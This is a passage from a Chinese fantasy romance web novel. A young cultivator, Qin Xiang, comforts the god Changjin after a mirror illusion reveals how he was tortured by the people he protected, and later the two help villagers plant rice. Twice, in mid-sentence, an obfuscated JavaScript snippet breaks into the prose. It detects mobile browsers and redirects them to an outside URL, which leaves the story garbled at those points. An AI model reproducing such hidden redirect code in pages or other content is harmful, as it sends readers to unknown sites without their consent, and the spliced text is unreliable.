“秦湘,别怕。”这次的声音是真真实实地在她耳边响起,秦湘猛然一怔,像是瞬间清醒了一般,身体遭受的束缚也在这时消散得无影无踪。 因为被长时间的定住,此时甫一被解封,秦湘还有些站不住,她腿一软,眼前一黑,脱力地便往前一扑。 忽然,一双带着暖意的手将她稳稳地接住了,秦湘一个激灵,下意识地便抬头去看,扶住她的人,是长锦。 而此时站在她面前的长锦,双目赤红,额头闪烁着一个血红色的印记,原本墨色的长发也变得雪白,在她面前纷扬着。如果不是那双眼睛里面带着的情绪是她所熟悉的,不然就以他现在的这副模样来看,着实是让秦湘觉得陌生。 秦湘眨了眨眼,望着他愣了一瞬,才喃喃道:“神君?” “是我,别怕,我来了。”长锦温声道,伸手便牵住了她。秦湘被他牵着走,感受着手背上来自于他掌心真实温暖的触感,她失神地看了一会儿,这次的,真的不是幻觉了吗? 面前的那些幻境都已破碎,而她和长锦正站在一片上无顶下无底的白光虚无当中。在两人面前,一缕黑色的雾气正悠悠地飘荡着,长锦面色一冷,一手牵着秦湘走上前去,一手抬起将它一抓,指尖窜出火苗,那雾气便化为了氤氲水汽在空中散去。 秦湘愣愣地望着,“神君,这是?” “魔气,”长锦轻声答道,然后回头望了望她,“我们先出去吧。” 秦湘没作声,她整个人都还是云里雾里的,心情起起落落波动极大,此时还未曾完全恢复过来,只觉得疲惫不堪。她垂眸,一言不发地由着长锦将她带出了这个幻境。 随着一阵光华大盛,两人从那块古怪的铜镜之中回到了西院。长锦松开了秦湘的手,看着桌上还闪烁着红色光华的铜镜,他将手放在了镜面上,随着他的动作,那铜镜却好似极为痛苦般,竟然剧烈地颤动了起来,一阵一阵厉鬼般凄厉的嘶嚎声从镜面之中传来,在这小小的房间内显得格外地刺耳! 秦湘眉头紧蹙,听着这些声音,在幻境之中的那股强烈不适感又翻涌上心头,恍惚之间好像那个人就要从铜镜之中破开封印而出一样。她站在原地,身体发抖,眼神发直,手指在掌心捏得发白。 长锦面不改色,金光在掌心而起,随着他掌心猛地一发力,铜镜里面的尖锐嘶叫声也戛然而止,那镜子在桌面上颤抖着,动静也由一开始的剧烈慢慢地趋于平复,在挣扎了几番过后,终于不动了。 平静下来的铜镜慢慢化为了点点星光融入了长锦的掌心,而长锦的模样也随着这铜镜的消失慢慢地回归了正常。看着面前墨发如水眸中清明的长锦,秦湘张了张嘴,她有很多问题想问他,但此时,却一句都说不出来。 长锦抬眼看着她愣怔的模样,只当她还处在害怕与惊慌当中,他走了过去,按住她的肩膀,声音温和且让人安心:“秦湘,没事了。” 秦湘沉默不语,长锦看了她一会儿,将她带到了案牍旁边的软垫之上坐下,“我知道,你心中现在肯定有很多的疑问想问我,你先休息缓和一下,如果你想知道的话,我会全部告诉你的,到时候,如果你害怕了,想要远离我,我也毫无怨言。” 闻言,秦湘转头看向了他,长锦此时也正静静地看着她,一双眸子里盛满温柔和细腻,她愣愣地看了一会儿,然后才移开了眼,将目光放在了案牍之上的骷髅花上来,因为魔气的消散,此时它也由那可怕的骷髅头变回了一束清雅粉嫩的荷花。 秦湘就怔怔地盯着它出神,房间里,一时陷入了寂静。 良久,她才像是平复了心中的情绪一般,轻轻地开口道:“神君,这到底是怎么回事啊?” 长锦也看向桌上的荷花,半晌,轻声道:“这朵花是那幕后之人给宋允棠的,这上面还附着着魔气,我本来想施法用妖魔镜来探析一下魔主的位置,却没想到,魔主早已察觉,我一时失察被魔气反弹影响,所以陷入了梦魇之中。” 顿了顿,他又看向了秦湘,苦笑道:“而后来你也知道了,你进入妖魔镜中所看见的那些幻境,既是我的记忆也是我的心魔。” 尽管早有心理准备,可这时,听见这句话从长锦口中说出,秦湘还是不由得地一怔,脑海中闪过在城门时长锦被锁在祭祀台神架之上,而人们日复一日将他挖眼挖心,刀剑无情地刺向他的画面,她再也忍不住了,闭了闭眼,泪水从眼眶中滑落。 她转头看向长锦的心口,她记得,那个人将刀毫不犹豫地捅了进去,然后挖出了他的心脏。她眼眶倏地红了,眼泪怎么止也止不住,她轻轻地抬起手,想触碰一下他,却怕下一刻那猩红的血色又染红了他的身体。 手指在空中颤抖着,秦湘眨了眨眼,声音都是不成型的:“你……该有多疼啊……” 长锦也没想到秦湘会说出一句这样的话来,他一愣,看着面前眼泪簌簌的人,摇了摇头,抬手,将她的手按在了他的心口,轻声道:“没事的,已经不疼了,你看,它在跳。” 秦湘抬头望着他,感受着那颗曾经被挖出胸腔的心脏此时正在她掌心一下一下有力地跳动着,她顿了顿,手掌捏成了拳按在了他的胸膛处,指尖泛白,她也低下了头,将头靠在了他的胸襟处,泪水在软垫之上滴滴绽开,她哽咽道:“怎么可能不疼啊,他……他们……他们挖了你的心啊……” 长锦一僵,看在怀中不住颤抖着的秦湘,他一手抚摸着她的头发,一手将她轻轻圈在了臂弯里,他慢慢地拍着她的背脊一下一下地安抚着,烛光在他眼中轻轻地跳跃着,长锦也缓缓地合上了眼眸,待再睁眼时,眼底尽是湿润一片。 暖黄色的光晕洒满着房间,光明驱散了黑暗,也驱散了人心中的一些恐惧。长锦拥着秦湘,声音轻缓地安慰道:“秦湘,别想了,都过去了,其实他们说得也是没有错的,七百年前确实是我败了,我作为神我的职责就是守护苍生,可是我败了,让他们陷入了水深火热之中,所以他们恨我,那样对我也是无可厚非的。” 秦湘没有答话,此时此刻,她终于想通了在云隆堂里长锦为何会害怕与人接触,而又为何会露出那样的神情,一切的一切,只是因为所有的寡凉与冷淡都源于对人们的恐惧。七百年前被自己所保护的苍生背刺,城门广场那日复一日的折磨,让他失去了自己的信仰,他已经对自己保护的苍生心寒,他不被苍生所需要,他失去了存在的意义。 而失去了供奉之力和信仰之力的他,后来又是以怎样的心情,付出了多大代价才消灭了七百年前的魔主的,而后来,分裂出了新的暗黑神,而这七百年里,他又是经历了什么,有着多大的意志,才能拖着一副残败的身躯压制住那日愈强盛的暗黑神魔主的。 秦湘闭了闭眼,身体在他怀中颤抖得更加厉害了。良久,才缓过了一点劲来,愣愣地轻声道:“七百年前,你为何会败?后来的魔主又是怎样被消灭的?我在幻境之中看见,你被另一个自己吞噬了,那就是新的魔主吗?” “秦湘,你是知道的,神明的力量来源有三,”长锦顿了顿,声音低缓,“在三千年前,尚且还有母亲和洵阳城中的将士百姓们记得我,供奉我,可千年的时光毕竟太长了,随着一代又一代人的更迭,人们早已经忘记了千年前的妖魔,也忘记了千年前的我了。” 听到这里,秦湘心中一沉,莫名地生出了几分悲哀来。一个神明,一个英雄,他的事迹应该是要被世人所铭记所学习的,这种精神,这种历史,应该是要被人牢记于心并时刻不能忘地鞭策自己的。可是,人们却将他遗忘,将他抛弃。 死亡有时候并不是一种真正的逝去,遗忘才是。 所以后来遗忘了历史,遗忘了神明,生活在河清海晏之中的人们已经没有了生活在三千年前的人们那种敢于直面黑暗,只为追求光明不惜奉献一切的勇气与意识。 所以魔主才会再次降临世间,而这次就算长锦依旧站在了他们面前,却只有一个人在战斗,失去了人们信任的他,和失去了对抗魔主意识的众生,又怎么可能打败魔主呢? “所以我的力量变得薄弱,妖魔也有所察觉,他们伺机暴起,而魔主也趁乱放出一缕魔气分身逃离了厄运之门,蛊惑苍生,吸收了大量邪念与负面情绪,最终,在七百年前,再一次率领群魔破开了厄运之门的封印来到了人间,”长锦平静地道,“一开始,我也想努力,我也尝试过力挽狂澜,可是这一次,无论我怎么努力,我都打败不了他,而人们一开始也是信任我的,他们拼命向我求救,可是我却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913939|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救不了他们。” “不被苍生需要的神明是没有存在价值的,被魔主锁在城门高台上的日子里,我看着人们脸上的神情,从一开始的战战兢兢到后来的行云流水,让我有点恍惚,一时之间竟也分不清了,到底什么是苍生,什么是恶鬼?什么是善?什么是恶?三千年前洵阳城百姓将守的脸在我面前一晃而过,我已经分不清那些是不是我臆想出来梦境?而眼前这些狰狞的面孔才是现实。” “我陷入了困顿之中,我不知道自己做的这些努力到底有什么用,本来我坚定地认为我是为拯救苍生而生的,可那一瞬间,我觉得自己像个笑话,苍生根本不需要我,所以后来我也累了,陷入了自暴自弃之中,想着要不就这样吧,反正我是被抛弃的神。” 感受到长锦声音里的无波无澜,秦湘愣了愣,尽管现在说得再怎么故作轻松,可当时的他该是有多万念俱灰。 伤口就算好了,还是会留疤,那是磨灭不掉的痕迹。 秦湘抬起脸,对上长锦平静的眼,她吸了吸鼻子,也伸手顺了顺长锦的后背以示安抚,目光虽然模糊,但却坚定,她颤着声音道:“没事的,神君,都过去了,我需要你,你并没有被抛弃,以后我会一直陪着你的。” 长锦顿了顿,才笑了笑,伸手轻轻擦了擦她眼角的泪。 秦湘哽咽了一会儿,想了一想,才哑着声音继续道:“可是,神君,七百年前,就算是在那种情况之下你还是消灭了魔主呀,这些都是太掌门见到过的,不会有错。” 长锦摇了摇头,轻声道:“我也记不清了,那段时间的我都是失控的,陷入了迷茫困顿之后的我没有完整的信念,便有了心魔,我时常能看见两个自己,一个在说拯救苍生是我的责任,我必须救他们,一个在说苍生都不要我了,我何必还要他们。” 秦湘问:“因为神志不清醒,所以记忆不完全?” 长锦皱着眉头想了想,无果,于是点了点头,“大概是吧,所以我没有关于秦道尘的记忆,我只记得,后来是凭着那份天道天生的神力在城门处败了魔主。然后在厄运之门里,我的心魔受魔气影响,滋生出了暗黑面,他是由我分裂出去的,也承得了我的一半神力。” 秦湘望着他,脑海中浮现了在最后一个幻境之中见到的那张与他长得一模一样的脸。 长锦还在继续说着,“我没有办法阻止他的诞生,也没有办法阻止他成为新的魔主,我剩下的只有那一部分天道天生的力量了,还有一份压在肩头的责任。其实我想过放弃,但是每当我真的想要放弃的时候,我心中却总有一个声音在不停地警醒我,不可以!可是为什么不可以?除了这是我的责任之外,还有什么理由是让我必须坚持的,我不知道。” “所以这些年里,我觉得自己就像一具行尸走肉,我将自己化为了一块镇妖石加固着厄运之门的封印,如果不是三年前那幕后之人的出现,可能我和他还会这样一直下去,相互制衡,相互镇压,直到未来有一天他再度破开封印,只是我没想到,这一天来得这么快。” 长锦说完,一声叹息。 秦湘一愣,看着他的脸,看着他那双落寞的眼睛,轻声道:“那神君你现在是怎样想的呢?” 长锦叹了口气,摇摇头,神色复杂,声音郁结:“我也不知道,虽然我当时用尽了自己所有的力量将他封印在了妖魔镜中,让他不得成型,可如今他遗落世间,又被别有用心之人捡去,如果他要是成功解封了,世间将再次陷入黑暗,而我也知道,那是我的暗黑面,是我的心魔,如果我的信仰不重塑的话,我永远都不可能战胜他,所以我必须得在他解封之前,找到他,然后带着他回厄运之门内重新封印。” 听他这么说,秦湘抬头问道:“那为何不选择重塑信仰?然后彻底消灭他?” 闻言,长锦顿了顿,良久,才垂下眼帘,闷闷道:“人间太悲凉,我已经不知道人到底是什么了,也不知道自己所坚持的意义何在,也许,我有时候真的已经认为魔主说的是对的了,人的一生,从最初开始,就是恶的吗?” 听他这么问,秦湘皱了皱眉头,伸手端起了他的脸,认真道:“不可以这么想,魔主就是个大坏蛋,你怎么可以听他的话?我一开始就跟神君你说过了,不止是人,世间万事万物都具有两面性,你看我们玉溪城的那个委派任务,既有程鸿恩那样的坏人,又有宋芸奶奶还有那个姐姐她们那样的好人,还有苏子煜那样又好又坏的复杂的人,你要记得,善恶皆在本心,世间并不可能只有坏人的,也不可能只有好人,不过这些都是外在的,怎么可以影响你的选择?” 40.云隐务农 长锦看着她认真的神情,眨了眨眼,没有说话。 秦湘以为他没在听,捧着他的脸又晃了晃,严肃道:“我很认真地在和神君你说话呀,神君你有没有在听啊,这件事情的认知对你很重要,你绝对绝对不能被魔主影响,他就是害怕你,他就是故意的。” 秦湘晃了一晃,说到这里,脑中忽然闪过一道灵光,她肯定道:“对,没错,他的目的就是为了让神君你的信仰崩塌啊。七百年前,他让那些百姓日复一日那样对你,一方面,是让那些百姓再也没有反抗他的意识,另一方面,就是为了毁掉神君你的信仰,让你心里崩溃,想让你接受他的歪理,认为世间就是恶大于善的,当你认为自己做的一切都是徒劳的时候,他的阴谋诡计就得逞了。他真的,就是害怕你,就是故意的,所以神君你千万不能再被他所影响了。” 夜风透过半敞的轩窗轻柔地吹进来,桌上的烛影也随之轻轻摇晃,好半晌,两人都没有再说话。长锦垂下眼帘,唇角弧度稍落了下去,他无奈苦笑道:“可是,秦湘,已经晚了。” 闻言,秦湘心头也一顿。是啊,她说得如此轻松,也只是说起来轻松而已,真正经历过那些的长锦,要真的当做不在意,不受任何影响,又怎么可能呢?那些都是受他庇护的苍生,可在那种关头,他们却背刺于他,与魔主站在一边,又怎么可能不让他心寒呢? 秦湘闷闷地想了一会儿,突然想到如今已经不是七百年前了,于是又捧起他的脸来,重拾信心地摇了摇头道:“不对,不晚,神君,如果七百年前我遇见了你,我定然不会让你被他们那样欺负,我一定会保护你的,如今虽然已经是七百年后了,但是,还不算晚的,这一次,我会保护你,腾岳之巅的大家也会保护你,我们都会站在你身边,和你并肩作战,你不会再是一个人了。” “如果当神太累的话,那就当人吧,不要刻意去想那些什么责任什么信仰了,既然已经身在人间了,不如就以人的身份来感受一遭世间的美好吧,换一种心情和身份来感受,也许神君你就可以看见不一样的东西了呢?” 房间里,静默良久,半晌,长锦闷闷地问:“你很喜欢这个人间吗?” 秦湘眨了眨眼睛,毫不犹豫地回答了他:“当然,人间是美好的,人们日出而作日入而息,幸福和美好其实不是什么很了不得很抓不到的东西,而是要视人的情境而定的。有个时候,人间烟火气就是一碗热汤,一碗热饭,幸福与美好也在这一瞬间会具象化,变得特别简单。” “所以,神君,要不当人吧,换一种情境来感受一下你守护的这个世间,而这一次,我们都会陪在你身边。”秦湘郑重道,“而我永远相信你,你一定会战胜他的。” 望着秦湘的眼睛,长锦晃神了片刻。原来,他真的还能再重来一次吗?而这一次真的会有人需要他,然后愿意站在他身边吗? 看着秦湘眼中的坚定与温柔,他愣了愣。如果这些话是从别人口中说出来的,他可能还要犹豫几分,但是这是秦湘说的,长锦就觉得,再信一次又有什么关系呢?如果是秦湘的话,他会相信,不管别人待他如何,秦湘说会站在他身边那就一定会站在他身边的。 于是他道:“谢谢你,秦湘。” 秦湘见他神情舒展,也算松了一口气,摆摆手道:“不客气。” 一席话结束之后,两人之间气氛也有点微妙。方才情绪上头,秦湘还没有注意这么多,此时情绪稳定了,她才发现,长锦胸前的衣襟上荡开的,全是她的眼泪印子。 秦湘一僵,连忙挥手擦了擦,“对不住,神君,不小心将你的衣服弄脏了。” 长锦摇摇头,语气温和:“没关系的。” 这两句话讲完了之后,两人又是一顿相对无言,秦湘有些尴尬,头脑风暴一番,正为难着找点什么话题来打破尴尬,目光一瞅,才看见了桌子一旁摆放着的食盒。 对哦,折腾了一大半晚上,她都差点忘了她一开始来西院,只是为了来给长锦送饭的。 仿佛看到了救星,秦湘伸手擦了擦脸上还未干的泪痕,又一把将不远处摆放着的食盒捞了过来,笑了笑,“对了,我差点忘了,神君你从玉溪城回来之后就一直呆在西院了,想来也还没有吃过饭,我左右无事,就给你带了些饭菜来。” 秦湘一边打开食盒的盖子,一边说着:“我不知道神君你爱吃什么,潇湘巴陵口味基本都是以香辣为主,我又怕你不能吃,所以我辣的不辣的都拿了一点……” 话没说完,盖子已经揭开,看着食盒里面已经变得冰凉凉的几碟饭菜,秦湘愣了一愣,啪的一下就又将盖子盖上了。 她和长锦四目相对地眨眨眼,又僵硬地转回了头,有点恼地叹了一口气,一时竟不知道该怎么办才好了,在幻境里面呆的时间太长,饭菜都已经凉掉了。 “怎么了?”长锦有点懵懵然地看着秦湘的一系列动作,又看着她有些气馁的模样,他顿了顿,伸手便将她手中的食盒接了过来,作势就要揭开。 秦湘一怔,也反应过来了长锦要做什么了,她怎么能让他吃冷掉的饭菜!于是不管三七二十一,急忙一把压住盖子,艰难道:“神君,都冷掉了,要不算了,不要吃了。” 长锦一愣,旋即笑了,“没关系,你都带过来了,现在天气不算凉,冷了也能吃。” 听他都这么说了,又看着他朝她再三肯定地点了点头,秦湘也只能僵硬地挪开了按在盖子上的手,再僵硬地看着长锦从食盒中拿出那三个碟子。最底下放着的是几个包裹着的华容团子,秦湘伸手将它们捞了出来,放在手心里细细感受了一下,还有一点点余温。 她欣喜地将手中的团子递了过去,眼睛里亮晶晶地,“神君,吃这个,这个还有点点热,陈伯伯做的华容团子可是最好吃的。” 秦湘总有个毛病,她吃到什么好吃的东西老想着立马也给身边的人吃,如果听到那一句赞同的话语,她可能会开心地原地起飞,然后不停地便会将这东西分享出去。 所以此时她也犯了老毛病了,眼巴巴地看着长锦从她手中接过一个软糯白皎的团子,然后在她期待的目光下咬了一口,咽下。 秦湘小心翼翼地问道:“怎么样?神君,你觉得味道怎么样?好吃吗?” 长锦认认真真地又咬了一口,细细品尝了下,然后微笑道:“很不错,你很喜欢吃这个吗?” “是的呀,我可喜欢吃了,尤其是陈伯伯做的,”秦湘欢快地点了点头,然后又将一旁剩下的两个推了过去,“神君也喜欢吃的话就多吃点,这里还有两个。” 长锦道:“好的,谢谢。” 秦湘回:“不客气。” 一盏烛灯下,长锦慢慢吃着饭,秦湘支着头看着他。 岁月静好,浅笑安然。 自那天晚上在西院经历了铜镜幻境,又知道了长锦所有过往之后,秦湘来西院来得就更勤快了,她觉得,这件事就像是她和长锦之间的小秘密一样,她答应了长锦会陪在他身边,会带他感受不一样的人间,对此,她心中总有一种莫名的使命感。 而随之更多的接触,秦湘也是真的发现,长锦不想与人接触一部分原因是因为对人有恐惧,而另一部分原因,则是---他是真的不喜欢动,往西院随便哪里一摊一坐,便是一下午。 看着面前桃花树下闭目打坐一派随和的长锦,秦湘无奈地拍了拍额头,深深地叹了一口气,扯了个笑容,走了过去,凑到他身边,笑着开口唤他:“神君。” 长锦睁开眼睛看向她:“怎么了?” “没什么大事,就是看着神君你天天呆在西院闷得慌,”秦湘说着,将手中拿着的一份委任函书在他眼前晃了晃,“所以找爹爹拿了这个委任函,和师兄清桐姐姐一起,下山去玩玩。” 长锦接了过来,拆开一看,颇有几分意外,上面只有寥寥几句话,去云隐村帮忙务农。 “去云隐村帮忙务农?”长锦又念了一遍,抬起眼帘看向面前的秦湘,“没写错吗?腾岳之巅还会接这样的委派任务吗?” “没错的,”秦湘笑着点了点头,“虽然不是些什么很正式的任务,但是能做的我们也是会做的,天天只知道修仙日子也很无聊啊,就当作是劳逸结合出去散心。” “出去散心?”长锦眯着眸子看着她,拿着那信封就在她头上轻轻敲了下,“听掌门说四个月之后就是群英论剑大会了,你不是说你要拿魁首的吗?怎么还有时间出去……” “哎呀……”听到这个话头,秦湘连忙打断了长锦,堵住了他要说的话。她将那封书信从头顶上拿下,又朝长锦投了个幽怨的小眼神,嘟哝道,“剑也要练的,但是偶尔也要休息一下的嘛,而且我跟着师兄和清桐姐姐去云隐村,才不是为了玩呢,我是为了神君你啊。” 长锦笑着看着她,一双眼睛也弯了起来,笑问:“怎么说?为了我?” “是啊,”秦湘十分肯定地点头,一副你听我给你扯的神情,轻咳一声,悠悠道,“我之前不是说过要带神君你感受人间的美好吗?可是神君你总是呆在西院里,在这一方小天地能感受的东西都是有限的,所以为了你,我特意去求了师父,让他给我放了几天假,就是为了带你去云隐村好好感受一下人间烟火气,感受一下世间的美好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919357|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然后顺便也散散心嘛,天天呆在一个地方多闷呀,难道神君你不觉得闷吗?” 长锦有意逗她,于是道:“不闷呀,我觉得还好。” “……”秦湘简直不敢置信,她睁大了眼睛看向了长锦,好半晌,才道:“神君,你认真的吗?” 长锦十分正经地点了点头。 空气仿佛凝滞住了,两人四目相对了好一会儿。秦湘朝长锦艰难地眨了眨眼,长锦则回了她温柔的一笑。 终于,秦湘绷不住了,她仰天长啸地“啊”了一声,开始无理取闹,拉着长锦的衣袖就是一顿摇晃,边晃边道:“啊啊啊,不行,神君,你闷,你觉得不好,你想下山去玩,你快说啊,你快告诉我,说你想下山去玩,想去云隐村,说你想去嘛,快说快说。啊啊啊……” 长锦本来也就是逗逗她,倒是真没想过秦湘竟然会这副模样,秦湘自己也没有这个意识,也许是和师兄爹爹还有清桐姐姐这样习惯了,每次一着急起来就会无意识地撒娇,然后事后还一点都不承认,一身傲骨比钢板还硬。 “去嘛去嘛,”秦湘还在鬼哭狼嚎,“我都找师父请了假了,爹爹也答应了,神君你忍心就这样辜负我的一片心意吗?你忍心吗?” 长锦当然不忍心,他也不知从何时起,对于秦湘,他总是莫名地格外心软。因此看着面前还在眨巴着眼睛无理取闹着的秦湘,他扶着额头,觉得自己真的扛不住了。 秦湘看着长锦这副模样,已经知道了胜利就在眼前,于是加大火候,又拉着他的袖子轻轻地晃了晃,然后又试探性放软声线,软糯糯脆生生地唤了他一声,“神君?” “好了好了,去去去,不要晃了。”长锦彻底扛不住了,一手捂住脸,一手按上了她的额头,将她的脑袋推得远了一些。 秦湘伸手将额头上的手拿下,抓在手里,欣喜地看向长锦,一双杏眼里盛满星光,激动道:“真的?神君你真的答应了?” “答应了,我和你们一起去。” 看着长锦悄悄红了的耳朵尖,秦湘一愣,电光火石之间,她好像知道了点什么不得了的事,原来长锦的弱点就在这里哇,她得逞地笑了笑,行了,下次就知道该怎么做了。 云隐村和腾岳之巅离得不算太远,在腾岳之巅山下隔壁两座山那边。那村子邻山又邻水,也是秦湘从烈焰火域出关那几天周楚闵去除过邪祟的村子。 那次水祟联手作怪,催动山上泥石流动,又有洪水突发,整个村子耗损严重。这些天里不仅要重新修建村子里的房屋,又恰好赶上春分插秧种田农忙的时候,村里人手实在是不够了,若是错过了春分播种的时候,等到了秋天又会影响到整个村子的收成吃饭问题。 因此村长召集着村里人一商量,各种办法想遍了,突然听隔壁村子里的人说,腾岳之巅不仅接捉妖除邪的委派任务,还会接一些琐事委派任务。村长眼睛一亮,仿佛看到了曙光,回村之后再和众人一商量,敲定了之后便立马给腾岳之巅发了委任函书。 此时,阳光透过树荫撒下了一地细碎的阴影,村长带着几个村民站在云隐村进村的小道上,远远看见四个骑着马的身影朝着他们跑来,几人心中大喜,连忙迎接上去:“仙君啊。” 来的正是秦湘长锦一行人,看见面前的人和云隐村的村牌,几人拉了拉缰绳,翻身下了马。 周楚闵将委任函书交给站在前头的那个年纪稍大点的男人,笑道:“村长,一月不见,这段时间村子里过得可安宁?没有水祟作过乱了吧?” “没有没有,”村长也笑着接过,一张脸上尽是感激,“还要谢过仙君,如若不是仙君,现在估计都没有云隐村的存在了。” “哎,区区小事,不足挂齿。”周楚闵摆摆手,“看着你们现在过得很好,我们心里也高兴,对了,委任函书里说是农忙人手不够,方才我们经过村外田垄小道时,看见水田里堆积的秧苗,所以我们今天要做的事情就是插秧吗?” 听周楚闵主动提起,村长更是感动得连连点头,“是是是,哎呀,本来这些琐事我们也不想麻烦各位仙君的,实在是经历了那次水祟事件,村子里损耗严重,又要重新修建房屋,所以……所以这人手实在是匀不过来了……” 闻言,周楚闵拍拍他,安慰道:“没事没事,不用这么客气的,反正我们这些天也没有什么其他的事情要做,所以不算麻烦,能帮到你们就行。” “好好好,那就多谢各位仙君了。”村长连忙抱拳作了一揖。 周楚闵连忙扶住他,又好言好语相劝安慰了一番,看着村长和几个村民的表情终于有了好转,才算是作罢。 41.稚子为师 几人牵着马跟着村长进了村,将马关进马厩之后,便开始分工干活了。 沈清桐自然是不会跟着下田干这些活的,就算她要去,周楚闵与秦湘也是不愿意的,所以她便跟着村里的大娘们去帮忙洗菜择菜做饭去了。 至于长锦,是秦湘拉着来的,自然也是跟着秦湘一道走的。而插秧这种粗活,秦湘哪里会让他下田去做,尽管他再三强调他可以,但还是拗不过秦湘,于是,便被她拉着按到了一旁长满青草的水田埂边上。 因为要下田的缘故,秦湘今日也没有穿什么丝锦罗裙。她一袭粗布衣裙,乌黑的长发编成了两个麻花辫挽在耳后,头戴一个竹斗笠,卷起袖口和裤腿,露出一截白净的手臂和小腿来。 她将长锦按在田埂边上一棵小李子树旁坐下,然后扶了扶戴在头上的竹斗笠,朝他弯弯眼睛笑了笑:“好了,神君,你就坐在这里休息吧,看着我们做就可以了。” 长锦抬头看着她,无奈道:“秦湘,我可以帮你的。” “我知道,我知道,”秦湘顺从地点点头,然后道,“但是真的我和师兄来就可以了。” 他还待要说些什么,就听见另一旁水田里卷着袖口裤脚已经插了两排秧周楚闵抬头朝着这边招手大喊道:“阿湘,你快些来呀,不然你今天绝对超不过我了。” 秦湘一抬头,看见那边碧绿碧绿的水田里周楚闵竟然已经插完了两三排,心中暗叫不好,连忙朝着那边回道:“来了,来了。” 又转头看向长锦,拍拍他,“好了,神君,先不和你说了,我先过去了,不然今天要是又输给师兄了,到时候还不知道他会怎么洋洋得意呢。” 说完,也不等长锦再回话,转身便脱了鞋袜,下到了水稻田里。 长锦坐在李子树下,看着那个身影走了过去,走到了周楚闵身边。两个人笑闹了几句,拿过一旁扎捆起来的秧苗,解开草藤做的绳子,便开始较劲似的争先恐后地插起来。 春风微柔,阳光明媚。眼前是大片大片碧绿的水田,田里有辛勤劳作的插秧农人,有拉着犁耕地的老黄牛,田垄边上还有围着小水洼看小鱼小蝌蚪的孩童,身处在这样一副山清水秀鸟语花香的风景画卷之中,确实容易让人心情愉悦,治愈人心,使人忘记疲惫,不由自主地放松下来。 长锦靠坐在树下,阳光透过树叶斑驳地落了他一身。他眯了眯眼,目光追随着远处田间那个弯着腰不停劳作着的身影而去,那一边,秦湘周楚闵虽然一个为掌门之女,一个为长老之子,但却丝毫没有身份架子。两人一棵一棵地栽着手中的秧苗,速度又快栽得又整齐,与一旁已经习惯了田间劳作的农人来相比,也是有过之而无不及。 他静静地看了一阵子,许是乡间的风太过轻柔,又或许是那日的阳光太过于和煦,长锦看着看着,倒也真的感觉到了一股倦意袭来,他眨眨眼,不知不觉间,便也靠着这棵小小的李子树就这么安然地睡了过去。 不知过了多久,一道轻微的声音从身旁传来,长锦模模糊糊地睁开眼,看见了面前的秦湘。 秦湘手中拿着个竹筒水壶,应该是正喝了水,准备轻手轻脚地将水壶放下,然而一转头却和长锦对上了眼,她愣了愣,手里的动作一僵,然后回过神来,将竹筒放在了柔软的草丛间,转而朝他笑了笑,“神君,你醒了?是不是我动作太大把你吵醒了?” “不是,”长锦摇了摇头,眉目间懵懵的,意识还带着些刚醒的朦胧状态。他看了看面前插完了的一片水田,又转头看向她,“我睡了很久吗?已经忙完了?” “还没有呢,只是这些秧苗已经插完了,师兄和几个村民去另一块水田里面运秧苗去了,”秦湘说着,顺势就转面坐在了田垄边上,“所以我就可以趁机休息一会儿啦。” “哦哦,这样啊。”长锦了然地点了点头,一旁秦湘伸了个懒腰舒展舒展着酸痛的腰背肩颈,额间的汗珠也顺着鬓角下巴淌进了颈间,长锦瞧了一会儿,从衣襟之中拿出一块锦帕递给她,“擦擦汗吧。” 秦湘怔了一会儿,随即笑了笑,伸手接过锦帕,擦了擦脸上的汗珠,“谢谢神君,那回头我洗干净了之后再还给你。” 两人坐在田埂边上,感受着微风阵阵,夹带着青草的香气缓缓扑面袭来。秦湘双脚还踩在湿滑冰凉的水田里,感觉到脚边有什么东西游过,她低头看了两眼,惊讶地“呀”了一声,便弯着腰双手朝着那处拢去。 长锦坐在岸上,视角问题上并看不见面前的那块水田,而且秦湘还带着斗笠,蹲下身去基本上也将那里遮了个大半,所以他只能看见秦湘蹲在他面前,双手在水中不停地捞了一阵,却不知道她到底在干什么。 秦湘轻轻地捞了会儿,突然,献宝似的立起身来,将拢着的手放在了长锦面前,眉眼弯弯地欣喜道:“神君神君,你快看,快看这里。” 长锦不明所以,抬眼朝着她的手心看去,秦湘见他看了过来,狡黠地笑了笑,将手心打开,只见她掌心掬了一捧清水,而清水之中,还游着两只黑黑圆头小尾的蝌蚪。 “……”长锦愣住了,他想不明白,为什么一个女孩子,会喜欢抓这种奇奇怪怪的小东西。秦湘见他石化呆滞住的模样,也是憋了好一阵子的笑,才故意问道:“怎么了?神君,不可爱吗?你瞧它们,呆头呆脑的,多可爱啊。” “……”长锦瞅着那两尾啥也看不清的黑不溜秋的小玩意儿,头脑风暴了一番,最终,无果,他转了转呆愣的眼神,委婉又老实地道:“我觉得,你还是喜欢小白吧,小白可爱些。” “哈哈哈哈,”秦湘被他逗乐,将手中的小家伙们轻轻放回田中,想了想毛绒绒的小白,表示赞同地点了点头,“嗯,我也觉得,小白好可爱,”顿了顿,又叹了一口气,“等以后有机会,我也要养一只小白,啊不对,要养两只,三只,四只,五只。” 听着秦湘的话,长锦莞尔,看着她认真的模样,又道:“养这么多,掌门可知道你这个想把腾岳之巅变成园囿的想法?” 